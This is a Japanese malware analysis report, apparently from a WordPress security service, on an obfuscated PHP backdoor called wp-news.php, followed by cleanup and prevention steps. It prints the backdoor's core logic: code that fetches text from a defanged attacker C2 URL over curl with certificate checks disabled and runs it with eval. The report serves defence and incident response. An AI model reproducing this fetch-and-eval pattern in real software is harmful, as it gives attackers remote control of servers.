マルウェアの概要
本レポートでは、wp-news.php というファイル名で設置されていた 難読化PHPバックドア型マルウェア について解析結果をまとめます。
このファイルは、
goto文とラベルを多用した読みづらい構造curl_init/curl_execによる外部サーバーとの通信- 取得したデータを
eval()で実行する仕組み - スクリプト末尾の
__halt_compiler();を用いた隠しデータ領域
といった特徴を持ち、外部の攻撃サーバーから任意のPHPコードをダウンロードして実行するリモートコントロール型バックドア と判断できます。
特徴
コード構造の特徴
- PHPの
gotoとラベルを多用した制御フロー- 例:
goto jTJlU;/jTJlU:/goto odD5Q;というように、処理があちこちに飛ぶ - 人間や静的解析ツールが一読して理解しづらいようにする目的
- 例:
- 意味のない識別子名
- 変数や関数が
$mTR06,$PH7JJ,M7jPX()など、ランダム文字列風の名前になっている
- 変数や関数が
- 末尾に
__halt_compiler();があり、その後ろに隠しデータを格納できる構造- 通常のPHP実行ではこの後ろは無視されるため、追加のペイロードやログ を隠すのに悪用される
外部サーバーへの不審なアクセス
コード内に、以下のような 16進エスケープされたURL文字列 が埋め込まれていました。
- 例:
"\150\164\x74\x70\x73\x3a\x2f\x2f..."→ 復号するとhttps://dieoivk[.]com/xyk25.txtとなる - これは攻撃者が管理するC2(コマンド&コントロール)サーバーの一部と考えられます。
curl と eval を組み合わせたリモートコード実行
curl_init()で外部URLへHTTP(S)アクセスを開始curl_setopt()で以下のような危険な設定が行われているCURLOPT_RETURNTRANSFER:レスポンスを文字列として取得CURLOPT_SSL_VERIFYPEER = false/CURLOPT_SSL_VERIFYHOST = false:SSL証明書検証を無効化
curl_exec()で取得したレスポンスをeval()でそのまま実行
この仕組みにより、攻撃者は 外部テキストファイル(例: xyk25.txt)の中身を自由に書き換えるだけで、サーバー側で任意のPHPコードを実行 できます。
無毒化したコードの一部をサンプルで表記
実際のコードは goto や難読化された関数で構成されていますが、処理の本質は以下のように要約できます(悪意のある部分はコメントアウトして無毒化しています)。
<?php
// 外部C2サーバーのURL(実際は16進エスケープ+難読化されている)
$url = 'https://example-c2[.]com/xyz.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 証明書検証を無効化(危険)
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // ホスト検証を無効化(危険)
$response = curl_exec($ch);
curl_close($ch);
// 本来のマルウェアでは、取得した内容をそのままPHPとして実行している
// eval($response); // ★非常に危険なので解説用にコメントアウト
このコードから分かる通り、攻撃の本質は「外部サーバー上のPHPコードを好きなタイミングで差し替えつつ、WordPressサイト上で実行させる」こと にあります。
感染ファイルの完全可読化ログ
実際の wp-news.php のコードは、以下のような大まかな流れになっていました(安全のため、要約と抜粋のみを記載します)。
- 冒頭でランダムなコメントと
gotoラベルの定義<?php // sdjgsdkldg;dlgsdjglksdl/ goto jTJlU; gmcZK: function M7jPX($PH7JJ) { // 文字列デコード用の関数(URLなどを復号する) } jTJlU: goto odD5Q; - 16進エスケープされた文字列をデコードしてURLを生成
$url = M7jPX("\150\164\x74\x70\x73\x3a\x2f\x2f...\x74\170\x74"); // → https://dieoivk[.]com/xyk25.txt curl_initとcurl_setoptで外部URLへアクセス$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $body = curl_exec($ch); curl_close($ch);- 取得したレスポンスを
eval()で実行// オリジナル eval($body); // 外部から送られた任意コードを実行 // 無毒化例 // file_put_contents('/tmp/wp-news-log.txt', $body); // ログ出力などに変更 - スクリプト末尾に
__halt_compiler();を置き、それ以降にデータ領域を確保xiuN4: __halt_compiler();?> [ここから先は通常のPHP実行では無視される隠し領域]
このように、「難読化関数 → URL復号 → curlで取得 → eval実行 → 隠し領域」という、典型的な 外部C2型バックドアのパターン を踏襲しています。
危険性
このマルウェアが残っていると、サイトは次のようなリスクに晒されます。
- サーバー乗っ取りリスク
- 攻撃者が外部テキスト(
xyk25.txtなど)の中身を変更するだけで、任意のPHPコードを永続的に実行可能 - シェル設置、追加バックドア設置、管理画面の乗っ取りなどに発展
- 攻撃者が外部テキスト(
- スパム・フィッシングサイト化
- 攻撃者が不正なリダイレクトやスパムページ生成のコードを送り込むことで、SEOスパム型改ざんに転用される
- マルウェア配布サーバーとしての悪用
- サイト訪問者に対して別のマルウェアを配布する中継点にされる可能性
- ブラックリスト登録・検索結果の警告表示
- Googleのセーフブラウジングや各種セキュリティベンダーのブラックリストに登録されるリスク
- 検索結果に「このサイトは安全でない可能性があります」といった警告が表示され、集客に大きなダメージ
実際の感染事例
今回の wp-news.php は、以下のようなパターンで設置されているケースが想定されます。
- ファイル名がニュース系(
wp-news.php)で一見正規のテンプレートや機能ファイルに見える - テーマディレクトリ直下、または
wp-content直下など、開発者でなければ違和感に気づきにくい場所に配置 - ファイルサイズ自体は数KB〜十数KB程度と小さい
- WordPress管理画面からではなく、直接URLを叩いたとき にのみ動作
- アクセスログ上は特定のIPから
wp-news.phpへの直接アクセスが繰り返されている
このように、通常の運用ではほぼ参照しないファイル名・パスを装いながら、攻撃者だけが知っている「裏口」として機能していました。
駆除と復旧の方法
1. 感染ファイルの特定と削除
- 対象サーバー上で
wp-news.phpを検索- 例: SSHが使える場合は
findコマンドで検索
- 例: SSHが使える場合は
- 該当ファイルの内容を確認し、上記のような
goto+curl+eval+__halt_compilerパターンがあれば削除対象と判断 - 削除前に必ずバックアップを取得
- 万一のときに備え、元に戻せるようにしておく
2. 類似バックドアの有無を調査
- 同様の構造(
curl+eval、16進や base64 で難読化されたURL)を持つファイルが他にもないか検索 - 典型的な調査ポイント
wp-content/uploads配下に.phpファイルが紛れ込んでいないか- テーマ/プラグインディレクトリに見慣れないPHPファイルがないか
- ルートディレクトリ直下の
index.php/wp-blog-header.php/wp-config.php等に不審な1行コードが挿入されていないか
3. コア・テーマ・プラグインのクリーンアップ
- WordPressコアは公式の最新版から 上書き再展開 して改ざんを除去
- テーマ・プラグインも、可能な限り以下を実施
- 公式リポジトリから最新版をダウンロードし直して上書き
- 不要/開発が止まっているプラグインは削除
4. 管理者アカウントとパスワードのリセット
- WordPress管理者ユーザーのパスワード変更
- FTP/SSH/コントロールパネルのログイン情報もすべて変更
- 可能であれば2要素認証(2FA)の導入
5. ログの確認と被害範囲の把握
wp-news.phpへのアクセス履歴をWebサーバーログから確認- 同じタイミングで不審なリクエスト(
/wp-admin/admin-ajax.phpへの大量POSTなど)がないか確認 - 不審な管理者アカウントや、書き換えられた投稿・固定ページがないかをチェック
再発防止のセキュリティ対策
1. WordPress本体・プラグイン・テーマの継続的な更新
- 定期的なアップデートを行い、既知の脆弱性を放置しない
- 特に脆弱性報告の多いプラグインは、運用方針を見直す
2. 最低限の権限設計とファイルパーミッション
- 不要な管理者ユーザーを削除
- 編集権限を持つユーザーを最小限にする
wp-content/uploadsなど、PHPを実行する必要のないディレクトリではphp.iniや.htaccessで実行を禁止
3. WAF やセキュリティプラグインの活用
- サーバー側のWAF(Web Application Firewall)を有効化
- ログイン試行制限や、不審なリクエストのブロック機能を持つセキュリティプラグインを導入
4. バックアップ体制の整備
- ファイルとデータベースのバックアップを定期的に取得
- 少なくとも「直近数世代+月次スナップショット」を別環境に保管
- 復旧テスト(実際にバックアップから戻せるか)の実施
5. 監視とアラート
- ファイル改ざん監視(ハッシュ値の監視)
- 管理画面へのログイン通知
- 404エラー急増やトラフィック急増を検知する監視ツールの導入
まとめ:早期対応がSEOと信頼回復のカギ
wp-news.php に代表される 難読化PHPバックドア は、見た目こそ小さな1ファイルですが、実質的にはサイト全体の支配権を奪う「遠隔操作の入口」です。
- 外部C2サーバーからのコード配信により、攻撃者はいつでも挙動を変更可能
- サイト改ざん・スパム・マルウェア配布など、多様な攻撃の土台として悪用される
- 検索エンジンやブラウザの警告により、SEO・ブランド信頼に深刻なダメージ
被害を最小限に抑えるためには、
- 感染ファイルの迅速な特定と削除
- 類似バックドアや改ざん箇所の徹底調査
- アップデート・権限設計・WAF等による再発防止
をセットで行うことが重要です。
著者情報
WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。
